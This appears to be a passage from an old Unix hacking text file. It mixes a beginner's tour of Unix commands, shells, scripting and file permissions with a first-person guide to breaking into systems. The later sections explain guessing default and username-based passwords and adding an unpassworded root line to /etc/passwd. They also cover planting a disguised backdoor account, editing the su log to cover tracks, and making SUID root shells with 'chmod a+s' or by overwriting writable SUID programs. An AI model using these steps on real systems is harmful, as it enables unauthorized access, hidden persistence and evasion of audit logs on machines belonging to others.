The accounts root, mountfsys, umountfsys, install, and sometimes sync are
root level accounts, meaning they have sysop power, or total power. Other
logins are just "user level" logins meaning they only have power over what
files/processes they own. I'll get into that later, in the file permissions
section. The REBOOT login is what as known as a command login, which just
simply doesn't let you into the operating system, but executes a program
assigned to it. It usually does just what it says, reboot the system. It
may not be standard on all UNIX systems, but I have seen it on UNISYS unixes
and also HP/UX systems [Hewlett Packard Unixes]. So far, these accounts have
not been passworded [reboot], which is real stupid, if you ask me.
COMMAND LOGINS:
---------------
There are "command logins", which, like reboot, execute a command then log
you off instead of letting you use the command interpreter. BSD is notorious
for having these, and concequently, so does MIT's computers. Here are some:
rwho - show who is online
finger - same
who - same
These are the most useful, since they will give the account names that are
online, thus showing you several accounts that actually exist.
Errors:
-------
When you get an invalid Account name / invalid password, or both, you will
get some kind of error. Usually it is the "login incorrect" message. When
the computer tells you that, you have done something wrong by either enterring
an invalid account name, or a valid account name, but invalid password. It
does not tell you which mistake you made, for obvious reasons. Also,
when you login incorrectly, the error log on the system gets updated, letting
the sysops(s) know something is amiss.
Another error is "Cannot change to home directory" or "Cannot Change
Directory." This means that no "home directory" which is essentially the
'root' directory for an account, which is the directory you start off in.
On DOS, you start in A:\ or C:\ or whatever, but in UNIX you start in
/homedirectory. [Note: The / is used in directories on UNIX, not a \ ].
Most systems will log you off after this, but some tell you that they will
put you in the root directory [ '/'].
Another error is "No Shell". This means that no "shell" was defined
for that particular account. The "shell" will be explained later. Some
systems will log you off after this message. Others will tell you that they
will use the regular shell, by saying "Using the bourne shell", or "Using sh"
-----------------------------
Accounts In General :
-----------------------------
This section is to hopefully describe to you the user structure
in the UNIX environment.
Ok, think of UNIX having two levels of security: absolute power,
or just a regular user. The ones that have absolute power are those users
at the root level. Ok, now is the time to think in numbers. Unix associates
numbers with account names. each account will have a number. Some will have
the same number. That number is the UID [user-id] of the account. the root
user id is 0. Any account that has a user id of 0 will have root access.
Unix does not deal with account names (logins) but rather the number
associated with them. for instance, If my user-id is 50, and someone else's
is 50, with both have absolute power of each other, but no-one else.
_____________________________________________________________________________
---------------
Shells :
---------------
A shell is an executable program which loads and runs when a user
logs on, and is in the foreground. This "shell" can be any executable prog-
ram, and it is defined in the "passwd" file which is the userfile. Each
login can have a unique "shell". Ok. Now the shell that we usually will work
with is a command interpreter. A command interpreter is simply something
like MSDOS's COMMAND.COM, which processes commands, and sends them to the
kernel [operating system]. A shell can be anything, as I said before,
but the one you want to have is a command interpreter. Here are the
usual shells you will find:
sh - This is the bourne shell. It is your basic Unix "COMMAND.COM". It has
a "script" language, as do most of the command interpreters on Unix sys-
tems.
csh - This is the "C" shell, which will allow you to enter "C" like commands.
ksh - this is the korn shell. Just another command interpreter.
tcsh - this is one, which is used at MIT I believe. Allows command editing.
vsh - visual shell. It is a menu driven deal. Sorta like.. Windows for DOS
rsh - restricted shell OR remote shell. Both Explained later.
There are many others, including "homemade " shells, which are
programs written by the owner of a unix, or for a specific unix, and they
are not standard. Remember, the shell is just the program you get to use
and when it is done executing, you get logged off. A good example of a
homemade shell is on Eskimo North, a public access Unix. The shell
is called "Esh", and it is just something like a one-key-press BBS,
but hey, its still a shell. The Number to eskimo north is 206-387-3637.
[206-For-Ever]. If you call there, send Glitch Lots of mail.
Several companies use Word Processors, databases, and other things
as a user shell, to prevent abuse, and make life easier for unskilled computer
operators. Several Medical Hospitals use this kind of shell in Georgia,
and fortunatly, these second rate programs leave major holes in Unix.
Also, a BBS can be run as a shell. Check out Jolnet [312]-301-2100, they
give you a choice between a command interpreter, or a BBS as a shell.
WHen you have a command interpreter, the prompt is usually a:
$
when you are a root user the prompt is usually a:
#
The variable, PS1, can be set to hold a prompt.
For instance, if PS1 is "HI:", your prompt will be:
HI:
_____________________________________________________________________________
------------------------
SPecial Characters, ETc:
------------------------
Control-D : End of file. When using mail or a text editor, this will end
the message or text file. If you are in the shell and hit control-d you get
logged off.
Control-J: On some systems, this is like the enter key.
@ : Is sometimes a "null"
? : This is a wildcard. This can represent a letter. If you specified
something at the command line like "b?b" Unix would look for bob,bib,bub,
and every other letter/number between a-z, 0-9.
* : this can represent any number of characters. If you specified a "hi*"
it would use "hit", him, hiiii, hiya, and ANYTHING that starts with
hi. "H*l" could by hill, hull, hl, and anything that starts with an
H and ends with an L.
[] - The specifies a range. if i did b[o,u,i]b unix would think: bib,bub,bob
if i did: b[a-d]b unix would think: bab,bbb,bcb,bdb. Get the idea? The
[], ?, and * are usually used with copy, deleting files, and directory
listings.
EVERYTHING in Unix is CASE sensitive. This means "Hill" and "hill" are not
the same thing. This allows for many files to be able to be stored, since
"Hill" "hill" "hIll" "hiLl", etc. can be different files. So, when using
the [] stuff, you have to specify capital letters if any files you are dealing
with has capital letters. Most everything is lower case though.
----------------
Commands to use:
----------------
Now, I will rundown some of the useful commands of Unix. I will act
as if I were typing in the actual command from a prompt.
ls - this is to get a directory. With no arguments, it will just print out
file names in either one column or multi-column output, depending on the
ls program you have access to.
example:
$ ls
hithere
runme
note.text
src
$
the -l switch will give you extended info on the files.
$ ls -l
rwx--x--x sirhack sirh 10990 runme
and so on....
the "rwx--x--x" is the file permission. [Explained Later]
the "sirhack sirh" is the owner of the file/group the file is in.
sirhack = owner, sirh = user-group the file is in [explained later]
the 10990 is the size of the file in bytes.
"runme" is the file name.
The format varies, but you should have the general idea.
cat - this types out a file onto the screen. should be used on text files.
only use it with binary files to make a user mad [explained later]
ex:
$ cat note.txt
This is a sample text file!
$
cd - change directory . You do it like this: cd /dir/dir1/dir2/dirn.
the dir1/etc.... describes the directory name. Say I want to get
to the root directory.
ex:
$ cd /
*ok, I'm there.*
$ ls
bin
sys
etc
temp
work
usr
all of the above are directories, lets say.
$ cd /usr
$ ls
sirhack
datawiz
prophet
src
violence
par
phiber
scythian
$ cd /usr/sirhack
$ ls
hithere
runme
note.text
src
$
ok, now, you do not have to enter the full dir name. if you are in
a directory, and want to get into one that is right there [say "src"], you
can type "cd src" [no "/"]. Instead of typing "cd /usr/sirhack/src" from the
sirhack dir, you can type "cd src"
cp - this copies a file. syntax for it is "cp fromfile tofile"
$ cp runme runme2
$ ls
hithere
runme
note.text
src
runme2
Full pathnames can be included, as to copy it to another directory.
$ cp runme /usr/datwiz/runme
mv - this renames a file. syntax "mv oldname newname"
$ mv runme2 runit
$ ls
hithere
runme
note.text
src
runit
files can be renamed into other directories.
$ mv runit /usr/datwiz/run
$ ls
hithere
runme
note.text
src
$ ls /usr/datwiz
runme
run
pwd - gives current directory
$ pwd
/usr/sirhack
$ cd src
$ pwd
/usr/sirhack/src
$ cd ..
$ pwd
/usr/sirhack
[ the ".." means use the name one directory back. ]
$ cd ../datwiz
[translates to cd /usr/datwiz]
$ pwd
/usr/datwiz
$ cd $home
[goto home dir]
$ pwd
/usr/sirhack
rm - delete a file. syntax "rm filename" or "rm -r directory name"
$ rm note.text
$ ls
hithere
runme
src
$
write - chat with another user. Well, "write" to another user.
syntax: "write username"
$ write scythian
scythian has been notified
Hey Scy! What up??
Message from scythian on tty001 at 17:32
hey!
me: So, hows life?
scy: ok, I guess.
me: gotta go finish this text file.
scy: ok
me: control-D [to exit program]
$
who [w,who,whodo] - print who is online
$ who
login term logontime
scythian + tty001 17:20
phiberO + tty002 15:50
sirhack + tty003 17:21
datawiz - tty004 11:20
glitch - tty666 66:60
$
the "who" commands may vary in the information given. a "+" means
you can "write" to their terminal, a "-" means you cannot.
man - show a manual page entry. syntax "man command name" This is a help
program. If you wanted to know how to use... "who" you'd type
$ man who
WHO(1) xxx......
and it would tell you.
stty - set your terminal characteristics. You WILL have to do "man stty"
since each stty is different, it seems like.
an example would be:
$ stty -parenb
to make the data params N,8,1. A lot of Unixes operate at
e,7,1 by default.
sz,rz - send and recieve via zmodem
rx,sx - send / recieve via xmodem
rb,sb - send via batch ymodem. These 6 programs may or may not be on a unix.
umodem - send/recieve via umodem.
$ sz filename
ready to send...
$ rz filename
please send your file....
...etc..
ed - text editor. Usage "ed filename" to create a file that doesn't
exist, just enter in "ed filename"
some versions of ed will give you a prompt, such as "*" others will not
$ ed newtext
0
* a
This is line 1
This is line 2
[control-z]
* 1 [to see line one]
This is line 1
* a [keep adding]
This is line 3
[control-z]
*0a [add after line 0]
This is THE first line
[control-z]
1,4l
This is THE first line
This is line 1
This is line 2
This is line 3
* w
71
* q
$
The 71 is number of bytes written.
a = append
l = list
# = print line number
w - write
l fname = load fname
s fname = save to fname
w = write to current file
q = quit
mesg - turn write permissions on or off to your terminal (allow chat)
format "mesg y" or "mesg n"
cc - the C compiler. don't worry about this one right now.
chmod - change mode of a file. Change the access in other words.
syntax: "chmod mode filename"
$ chmod a+r newtext
Now everyone can read newtext.
a = all
r = read. This will be explained further in the File System section.
chown - change the owner of a file.
syntax: "chown owner filename"
$ chown scythian newtext
$
chgrp - change the group [explained later] of a file.
syntax: "chgrp group file"
$ chgrp root runme
$
finger - print out basic info on an account. Format: finger username
grep - search for patterns in a file. syntax: "grep pattern file"
$ grep 1 newtext
This is Line 1
$ grep THE newtext
This is THE first line
$ grep "THE line 1" newtext
$
mail - This is a very useful utility. Obviously, you already know what it
is by its name. There are several MAIL utilities, such as ELM, MUSH
and MSH, but the basic "mail" program is called "mail". The usage
is:
"mail username@address" or
"mail username"
or
"mail"
or "mail addr1!addr2!addr3!user"
"mail username@address" - This is used to send mail to someone on
another system, which is usually another UNIX, but some DOS machines and some
VAX machines can recieve Unix Mail. When you use "mail user@address" the
system you are on MUST have a "smart mailer" [known as smail], and must
have what we call system maps. The smart mailer will find the "adress" part
of the command and expand it into the full pathname usually. I could look
like this: mail phiber@optik
then look like this to the computer:
mail sys1!unisys!pacbell!sbell!sc1!att.com!sirhacksys!optik!phiber
Do not worry about it, I was merely explaining the principal of the thing.
Now, if there is no smart mailer online, you'll have to know the FULL path
name of the person you wish to mail to. For Instance, I want to mail to
.. phiber. I'd do this if there were no smart mailer:
$ mail sys!unisys!pacbell!sbell!sc1!att.com!sirhacksys!optik!phiber
Hey Guy. Whats up? Well, gotta go. Nice long message huh?
[control-D]
$
Then, when he got it, there would be about 20 lines of information, with
like a post mark from every system my message went thru, and the "from" line
would look like so:
From optik!sirhacksys!att.com!sc1!sbell!pacbell!unisys!sys!sirhack
Now, for local mailing, just type in "mail username" where username
is the login you want to send mail to. Then type in your message. Then
end it with a control-D.
To read YOUR mail, just type in mail. IE:
$ mail
From scythian ............
To sirhack ............
Subject: Well....
Arghhh!
?
The dots represent omitted crap. Each Mail program makes its own headings.
That ? is a prompt. At this prompt I can type:
d - delete
f username - forward to username
w fname - write message to a file named fname
s fname - save message with header into file
q - quit / update mail
x - quit, but don't change a thing
m username - mail to username
r - reply
[enter] - read next message
+ - go forward one message
- : go back one
h - print out message headers that are in your mailbox.
There are others, to see them, you'd usually hit '?'.
--------
If you send mail to someone not on your system, you will have to wait longer
for a reply, since it is just as a letter. A "postman" has to pick it up.
The system might call out, and use UUCP to transfer mail. Usually, uucp
accounts are no good to one, unless you have uucp available to intercept mail.
ps - process. This command allows you to see what you are actually doing
in memory. Everytime you run a program, it gets assigned a Process Id number
(PID), for accounting purposes, and so it can be tracked in memory, as
well as shut down by you, or root. usually, the first thing in a process
list given by "ps" is your shell name. Say I was logged in under sirhack,
using the shell "csh" and running "watch scythian". The watch program would
go into the background, meaning I'd still be able to do things while it was
running:
$ ps
PID TTY NAME
122 001 ksh
123 001 watch
$
That is a shortened PS. That is the default listing [a brief one].
The TTY column represents the "tty" [i/o device] that the process is being
run from. This is only useful really if you are using layers (don't worry)
or more than one person is logged in with the same account name. Now,
"ps -f" would give a full process listing on yourself, so instead of
seeing just plain ole "watch" you'd most likely see "watch scythian"
kill - kill a process. This is used to terminate a program in memory obvio-
ously. You can only kill processes you own [ones you started], unless you
are root, or your EUID is the same as the process you want to kill.
(Will explain euid later). If you kill the shell process, you are logged
off. By the same token, if you kill someone else's shell process, they
are logged off. So, if I said "kill 122" I would be logged off. However,
kill only sends a signal to UNIX telling it to kill off a process. If
you just use the syntax "kill pid" then UNIX kills the process WHEN it feels
like it, which may be never. So, you can specify urgency! Try "kill -num pid"
Kill -9 pid is a definite kill almost instantly. So if I did this:
$ kill 122
$ kill 123
$ ps
PID TTY NAME
122 001 ksh
123 001 watch
$ kill -9 123
[123]: killed
$ kill -9 122
garbage
NO CARRIER
Also, you can do "kill -1 0" to kill your shell process to log yourself off.
This is useful in scripts (explained later).
-------------------
Shell Programmin'
-------------------
Shell Programming is basically making a "script" file for the
standard shell, being sh, ksh, csh, or something on those lines. Its
like an MSDOS batch file, but more complex, and more Flexible.
This can be useful in one aspect of hacking.
First, lets get into variables. Variables obviously can be assigned
values. These values can be string values, or numberic values.
number=1
That would assign 1 to the variable named "number".
string=Hi There
or
string="Hi There"
Both would assign "Hi there" to a variable.
Using a variable is different though. When you wish to use a variable
you must procede it with a dollar ($) sign. These variables can
be used as arguments in programs. When I said that scripts are
like batch files, I meant it. You can enter in any name of a program
in a script file, and it will execute it. Here is a sample script.
counter=1
arg1="-uf"
arg2="scythian"
ps $arg1 $arg2
echo $counter
That script would translate to "ps -uf scythian" then would print
"1" after that was finished. ECHO prints something on the screen
whether it be numeric, or a string constant.
Other Commands / Examples:
read - reads someting into a variable. format : read variable . No dollar
sign is needed here! If I wwanted to get someone's name, I could
put:
echo "What is your name?"
read hisname
echo Hello $hisname
What is your name?
Sir Hackalot
Hello Sir Hackalot
Remember, read can read numeric values also.
trap - This can watch for someone to use the interrupt character. (Ctrl-c)
format: trap "command ; command ; command ; etc.."
Example:
trap "echo 'Noway!! You are not getting rid o me that easy' ; echo
'You gotta see this through!'"
Now, if I hit control-c during the script after this statement was
executed, I'd get:
Noway!! You are not getting rid of me that easy
You gotta see this through!
exit : format :exit [num] This exists the shell [quits] with return
code of num.
-----
CASE
-----
Case execution is like a menu choice deal. The format of the command
or structure is :
case variable in
1) command;
command;;
2) command;
command;
command;;
*) command;;
esac
Each part can have any number of commands. The last command however
must have a ";;". Take this menu:
echo "Please Choose:"
echo "(D)irectory (L)ogoff (S)hell"
read choice
case $choice in
D) echo "Doing Directory...";
ls -al ;;
L) echo Bye;
kill -1 0;;
S) exit;;
*) Echo "Error! Not a command";;
esac
The esac marks the end of a case function. It must be after the
LAST command.
Loops
-----
Ok, loops. There are two loop functins. the for loops, and the
repeat.
repeat looks like this: repeat something somethin1 somethin2
this would repeat a section of your script for each "something".
say i did this:
repeat scythian sirhack prophet
I may see "scythian" then sirhack then prophet on my screen.
The for loop is defined as "for variable in something
do
..
..
done"
an example:
for counter in 1 2 3
do
echo $counter
done
That would print out 1 then 2 then 3.
Using TEST
----------
The format: Test variable option variable
The optios are:
-eq =
-ne <> (not equal)
-gt >
-lt < -ge >=
-le <= for strings its: = for equal != for not equal. If the condition is true, a zero is returned. Watch: test 3 -eq 3 that would be test 3 = 3, and 0 would be returned. EXPR ---- This is for numeric functions. You cannot simply type in echo 4 + 5 and get an answer most of the time. you must say: expr variable [or number] operator variable2 [or number] the operators are: + add - subtract * multiply / divide ^ - power (on some systems) example : expr 4 + 5 var = expr 4 + 5 var would hold 9. On some systems, expr sometimes prints out a formula. I mean, 22+12 is not the same as 22 + 12. If you said expr 22+12 you would see: 22+12 If you did expr 22 + 12 you'd see: 34 SYSTEM VARIABLES ---------------- These are variables used by the shell, and are usually set in the system wide .profile [explained later]. HOME - location of your home directory. PS1 - The prompt you are given. usually $ . On BSD its usually & PATH - This is the search path for programs. When you type in a program to be run, it is not in memory; it must be loaded off disk. Most commands are not in Memory like MSDOS. If a program is on the search path, it may be executed no matter where you are. If not, you must be in the directory where the program is. A path is a set of directories basically, seperated by ":"'s. Here is a typical search path: :/bin:/etc:/usr/lbin:$HOME: When you tried to execute a program, Unix would look for it in /bin, /etc, /usr/lbin, and your home directory, and if its not found, an error is spewed out. It searches directories in ORDER of the path. SO if you had a program named "sh" in your home directory, and typed in "sh", EVEN if you were in your home dir, it would execute the one in /bin. So, you must set your paths wisely. Public access Unixes do this for you, but systems you may encounter may have no path set. TERM - This is your terminal type. UNIX has a library of functions called "CURSES" which can take advantage of any terminal, provided the escape codes are found. You must have your term set to something if you run screen oriented programs. The escape codes/names of terms are found in a file called TERMCAP. Don't worry about that. just set your term to ansi or vt100. CURSES will let you know if it cannot manipulate your terminal emulation. ------------------- The C compiler ------------------- This Will be BRIEF. Why? Becuase if you want to learn C, go buy a book. I don't have time to write another text file on C, for it would be huge. Basically, most executables are programmed in C. Source code files on unix are found as filename.c . To compile one, type in "cc filename.c". Not all C programs will compile, since they may depend on other files not there, or are just modules. If you see a think called "makefile" you can usually type in just "make" at the command prompt, and something will be compiled, or be attempted to compile. When using make or CC, it would be wise to use the background operand since compiling sometimes takes for ever. IE: $ cc login.c& [1234] $ (The 1234 was the process # it got identified as). _____________________________________________________________________________ --------------- The FILE SYSTEM --------------- This is an instrumental part of UNIX. If you do not understand this section, you'll never get the hang of hacking Unix, since a lot of Pranks you can play, and things you can do to "raise your access" depend on it. First, Let's start out by talking about the directory structure. It is basically a Hiearchy file system, meaning, it starts out at a root directory and expands, just as MSDOS, and possibly AmigaDos. Here is a Directory Tree of sorts: (d) means directory / (root dir) | |--------------------| bin (d) usr (d) ----^-------------------- | | | sirhack(d) scythian (d) prophet (d) | src (d) Now, this particular system contains the following directories: / /bin /usr /usr/sirhack /usr/sirhack/src /usr/scythian /usr/prophet Hopefully, you understood that part, and you should. Everything spawns from the root directory. o File Permissions! ------------------ Now, this is really the biggie. File Permissions. It is not that hard to understand file permissions, but I will explain them deeply anyway. OK, now you must think of user groups as well as user names. Everyone belongs to a group. at the $ prompt, you could type in 'id' to see what group you are in. Ok, groups are used to allow people access certain things, instead of just having one person controlling/having access to certain files. Remember also, that Unix looks at someone's UID to determine access, not user name. Ok. File permissions are not really that complicated. Each file has an owner This OWNER is usually the one who creates the file, either by copying a file or just by plain editing one. The program CHOWN can be used to give someone ownership of a file. Remember that the owner of a file must be the one who runs CHOWN, since he is the only one that can change the permissions of a file Also, there is a group owner, which is basically the group that you were in when the file was created. You would use chgrp to change the group a file is in. Now, Files can have Execute permissions, read permissions, or write permission. If you have execute permission, you know that you can just type in the name of that program at the command line, and it will execute. If you have read permission on a file, you can obviously read the file, or do anything that reads the file in, such as copying the file or cat[ing] it (Typing it). If you do NOT have access to read a file, you can't do anything that requires reading in the file. This is the same respect with write permission. Now, all the permissions are arranged into 3 groups. The first is the owner's permissions. He may have the permissions set for himself to read and execute the file, but not write to it. This would keep him from deleting it. The second group is the group permissions. Take an elongated directory for an example: $ ls -l runme r-xrwxr-- sirhack root 10990 March 21 runme ok. Now, "root" is the groupname this file is in. "sirhack" is the owner. Now, if the group named 'root' has access to read, write and execute, they could do just that. Say .. Scythian came across the file, and was in the root user group. He could read write or execute the file. Now, say datawiz came across it, but was in the "users" group. The group permissions would not apply to him, meaning he would have no permissions, so he couldn't touch the file, right? Sorta. There is a third group of permissions, and this is the "other" group. This means that the permissions in the "other" group apply to everyone but the owner, and the users in the same group as the file. Look at the directory entry above. the r-x-rwxr-- is the permissions line. The first three characters are the permissions for the owner (r-x). The "r-x" translates to "Read and execute permissions, but no write permissions" the second set of three, r-xRWXr-- (the ones in capital letters) are the group permissions. Those three characters mean "Read, write, and execution allowed" The 3rd set, r-xrwxR-- is the permissions for everyone else. It means "Reading allowed, but nothing else". A directory would look something like this: $ ls -l drwxr-xr-x sirhack root 342 March 11 src A directory has a "d" at the beggining of the permissions line. Now, the owner of the directory (sirhack) can read from the directory, write in the directory, and execute programs from the directory. The root group and every- one else can only read from the directory, and execute off the directory. So, If I changed the directory to be executable only, this is what it would look like: $ chmod go-r $ ls drwx--x--x sirhack root 342 March 11 src Now, if someone went into the directory besides "sirhack", they could only execute programs in the directory. If they did an "ls" to get a directory of src, when they were inside src, it would say "cannot read directory". If there is a file that is readable in the directory, but the directory is not readable, it is sometimes possible to read the file anyway. If you do not have execute permissions in a directory, you won't be able to execute anything in the directory, most of the time. _____________________________________________________________________________ -------------- Hacking: -------------- The first step in hacking a UNIX is to get into the operating system by finding a valid account/password. The object of hacking is usually to get root (full privileges), so if you're lucky enough to get in as root, you need not read anymore of this hacking phile , and get into the "Having Fun" Section. Hacking can also be just to get other's accounts also. Getting IN ---------- The first thing to do is to GET IN to the Unix. I mean, get past the login prompt. That is the very first thing. When you come across a UNIX, sometimes it will identify itself by saying something like, "Young INC. Company UNIX" or Just "Young Inc. Please login" Here is where you try the defaults I listed. If you get in with those you can get into the more advanced hacking (getting root). If you do something wrong at login, you'll get the message "login incorrect" This was meant to confuse hackers, or keep the wondering. Why? Well, you don't know if you've enterred an account that does not exist, or one that does exist, and got the wrong password. If you login as root and it says "Not on Console", you have a problem. You have to login as someone else, and use SU to become root. Now, this is where you have to think. If you cannot get in with a default, you are obviously going to have to find something else to login as. Some systems provide a good way to do this by allowing the use of command logins. These are ones which simply execute a command, then logoff. However, the commands they execute are usually useful. For instance there are three common command logins that tell you who is online at the present time. They are: who rwho finger If you ever successfully get one of these to work, you can write down the usernames of those online, and try to logon as them. Lots of unsuspecting users use there login name as their password. For instance, the user "bob" may have a password named "bob" or "bob1". This, as you know, is not smart, but they don't expect a hacking spree to be carried out on them. They merely want to be able to login fast. If a command login does not exist, or is not useful at all, you will have to brainstorm. A good thing to try is to use the name of the unix that it is identified as. For instance, Young INC's Unix may have an account named "young" Young, INC. Please Login. login: young UNIX SYSTEM V REL 3.2 (c)1984 AT&T.. .. .. .. Some unixes have an account open named "test". This is also a default, but surprisingly enough, it is sometimes left open. It is good to try to use it. Remember, brainstorming is the key to a unix that has no apparent defaults open. Think of things that may go along with the Unix. type in stuff like "info", "password", "dial", "bbs" and other things that may pertain to the system. "att" is present on some machines also. ONCE INSIDE -- SPECIAL FILES ---------------------------- There are several files that are very important to the UNIX environment. They are as follows: /etc/passwd - This is probably the most important file on a Unix. Why? well, basically, it holds the valid usernames/passwords. This is important since only those listed in the passwd file can login, and even then some can't (will explain). The format for the passwordfile is this: username:password:UserID:GroupID:description(or real name):homedir:shell Here are two sample entries: sirhack:89fGc%^7&a,Ty:100:100:Sir Hackalot:/usr/sirhack:/bin/sh demo::101:100:Test Account:/usr/demo:/usr/sh In the first line, sirhack is a valid user. The second field, however, is supposed to be a password, right? Well, it is, but it's encrypted with the DES encryption standard. the part that says "&a,Ty" may include a date after the comma (Ty) that tells unix when the password expires. Yes, the date is encrypted into two alphanumeric characters (Ty). In the Second example, the demo account has no password. so at Login, you could type in: login: demo UNIX system V (c)1984 AT&T .. .. But with sirhack, you'd have to enter a password. Now, the password file is great, since a lot of times, you;ll be able to browse through it to look for unpassworded accounts. Remember that some accounts can be restricted from logging in, as such: bin:*:2:2:binaccount:/bin:/bin/sh The '*' means you won't be able to login with it. Your only hope would be to run an SUID shell (explained later). A note about the DES encryption: each unix makes its own unique "keyword" to base encryption off of. Most of the time its just random letters and numbers. Its chosen at installation time by the operating system. Now, decrypting DES encrypted things ain't easy. Its pretty much impossible. Especially decrypting the password file (decrypting the password field within the password file to be exact). Always beware a hacker who says he decrypted a password file. He's full of shit. Passwords are never decrypted on unix, but rather, a system call is made to a function called "crypt" from within the C language, and the string you enter as the password gets encrypted, and compared to the encrypted password. If they match, you're in. Now, there are password hackers, but they donot decrypt the password file, but rather, encrypt words from a dictionary and try them against every account (by crypting/comparing) until it finds a match (later on!). Remember, few, if none, have decrypted the password file successfuly. /etc/group - This file contains The valid groups. The group file is usually defined as this: groupname:password:groupid:users in group Once again, passwords are encrypted here too. If you see a blank in the password entry you can become part of that group by using the utility "newgrp". Now, there are some cases in which even groups with no password will allow only certain users to be assigned to the group via the newgrp command. Usually, if the last field is left blank, that means any user can use newgrp to get that group's access. Otherwise, only the users specified in the last field can enter the group via newgrp. Newgrp is just a program that will change your group current group id you are logged on under to the one you specify. The syntax for it is: newgrp groupname Now, if you find a group un passworded, and use newgrp to enter it, and it asks for a password, you are not allowed to use the group. I will explain this further in The "SU & Newgrp" section. /etc/hosts - this file contains a list of hosts it is connected to thru a hardware network (like an x.25 link or something), or sometimes just thru UUCP. This is a good file when you are hacking a large network, since it tells you systems you can use with rsh (Remote Shell, not restricted shell), rlogin, and telnet, as well as other ethernet/x.25 link programs. /usr/adm/sulog (or su_log) - the file sulog (or su_log) may be found in Several directories, but it is usually in /usr/adm. This file is what it sounds like. Its a log file, for the program SU. What it is for is to keep a record of who uses SU and when. whenever you use SU, your best bet would be to edit this file if possible, and I'll tell you how and why in the section about using "su". /usr/adm/loginlog or /usr/adm/acct/loginlog - This is a log file, keeping track of the logins. Its purpose is merely for accounting and "security review". Really, sometimes this file is never found, since a lot of systems keep the logging off. /usr/adm/errlog or errlog - This is the error log. It could be located anywhere. It keeps track of all serious and even not so serious errors. Usually, it will contain an error code, then a situation. the error code can be from 1-10, the higher the number, the worse the error. Error code 6 is usually used when you try to hack. "login" logs your attempt in errlog with error code 6. Error code 10 means, in a nutshell, "SYSTEM CRASH". /usr/adm/culog - This file contains entries that tell when you used cu, where you called and so forth. Another security thing. /usr/mail/ - this is where the program "mail" stores its mail.
to read a particular mailbox, so they are called,
you must be that user, in the user group "mail" or
root. each mailbox is just a name. for instance,
if my login was "sirhack" my mail file would usually
be: /usr/mail/sirhack
/usr/lib/cron/crontabs - This contains the instructions for cron, usually.
Will get into this later.
/etc/shadow - A "shadowed" password file. Will talk about this later.
-- The BIN account --
Well, right now, I'd like to take a moment to talk about the account
"bin". While it is only a user level account, it is very powerful. It is
the owner of most of the files, and on most systems, it owns /etc/passwd,
THE most important file on a unix. See, the bin account owns most of the
"bin" (binary) files, as well as others used by the binary files, such
as login. Now, knowing what you know about file permissions, if bin owns
the passwd file, you can edit passwd and add a root entry for yourself.
You could do this via the edit command:
$ ed passwd
10999 [The size of passwd varies]
* a
sirhak::0:0:Mr. Hackalot:/:/bin/sh
{control-d}
* w
* q
$
Then, you could say: exec login, then you could login as sirhack, and
you'd be root.
/\/\/\/\/\/\/\/\/
Hacking..........
/\/\/\/\/\/\/\/\/
--------------
Account Adding
--------------
There are other programs that will add users to the system, instead
of ed. But most of these programs will NOT allow a root level user to be
added, or anything less than a UID of 100. One of these programs is
named "adduser". Now, the reason I have stuck this little section in, is
for those who want to use a unix for something useful. Say you want a
"mailing address". If the unix has uucp on it, or is a big college,
chances are, it will do mail transfers. You'll have to test the unix
by trying to send mail to a friend somewhere, or just mailing yourself.
If the mailer is identified as "smail" when you mail yourself (the program
name will be imbedded in the message) that probably means that the system
will send out UUCP mail. This is a good way to keep in contact with people.
Now, this is why you'd want a semi-permanent account. The way to achieve this
is by adding an account similar to those already on the system. If all the
user-level accounts (UID >= 100) are three letter abbriviations, say
"btc" for Bill The Cat, or "brs" for bill ryan smith, add an account
via adduser, and make a name like sally jane marshall or something
(they don't expect hackers to put in female names) and have the account
named sjm. See, in the account description (like Mr. Hackalot above), that
is where the real name is usually stored. So, sjm might look like this:
sjm::101:50:Sally Jane Marshall:/usr/sjm:/bin/sh
Of course, you will password protect this account, right?
Also, group id's don't have to be above 100, but you must put the account
into one that exists. Now, once you login with this account, the first
thing you'd want to do is execute "passwd" to set a password up. If you
don't, chances are someone else 'll do it for you (Then you'll be SOL).
-------------------
Set The User ID
-------------------
This is porbably one of the most used schemes. Setting up an "UID-
Shell". What does this mean? Well, it basically means you are going
to set the user-bit on a program. The program most commonly used is
a shell (csh,sh, ksh, etc). Why? Think about it: You'll have access
to whatever the owner of the file does. A UID shell sets the user-ID of
the person who executes it to the owner of the program. So if root
owns a uid shell, then you become root when you run it. This is an
alternate way to become root.
Say you get in and modify the passwd file and make a root level
account unpassworded, so you can drop in. Of course, you almost HAVE to
get rid of that account or else it WILL be noticed eventually. So, what
you would do is set up a regular user account for yourself, then, make
a uid shell. Usually you would use /bin/sh to do it. After adding
the regular user to the passwd file, and setting up his home directory,
you could do something like this:
(assume you set up the account: shk)
# cp /bin/sh /usr/shk/runme
# chmod a+s /usr/shk/runme
Thats all there would be to it. When you logged in as shk, you could just
type in:
$ runme
#
See? You'd then be root. Here is a thing to do:
$ id
uid=104(shk) gid=50(user)
$ runme
# id
uid=104(shk) gid=50(user) euid=0(root)
#
The euid is the "effective" user ID. UID-shells only set the effective
userid, not the real user-id. But, the effective user id over-rides the
real user id. Now, you can, if you wanted to just be annoying, make
the utilities suid to root. What do I mean? For instance, make 'ls'
a root 'shell'. :
# chmod a+s /bin/ls
# exit
$ ls -l /usr/fred
..
......
etc crap
Ls would then be able to pry into ANY directory. If you did the same to
"cat" you could view any file. If you did it to rm, you could delete any
file. If you did it to 'ed', you could edit any-file (nifty!), anywhere on
the system (usually).
How do I get root?
------------------
Good question indeed. To make a program set the user-id shell to root,
you have to be root, unless you're lucky. What do I mean? Well, say
you find a program that sets the user-id to root. If you have access
to write to that file, guess what? you can copy over it, but keep
the uid bit set. So, say you see that the program chsh is setting
the user id too root. You can copy /bin/sh over it.
$ ls -l
rwsrwsrws root other 10999 Jan 4 chsh
$ cp /bin/sh chsh
$ chsh
#
See? That is just one way. There are others, which I will now talk
about.
More on setting the UID
-----------------------
Now, the generic form for making a program set the User-ID bit
is to use this command:
chmod a+s file
Where 'file' is a valid existing file. Now, only those who own the file
can set the user ID bit. Remember, anything YOU create, YOU own, so if
you copy th /bin/sh, the one you are logged in as owns it, or IF the
UID is set to something else, the New UID owns the file. This brings
me to BAD file permissions.
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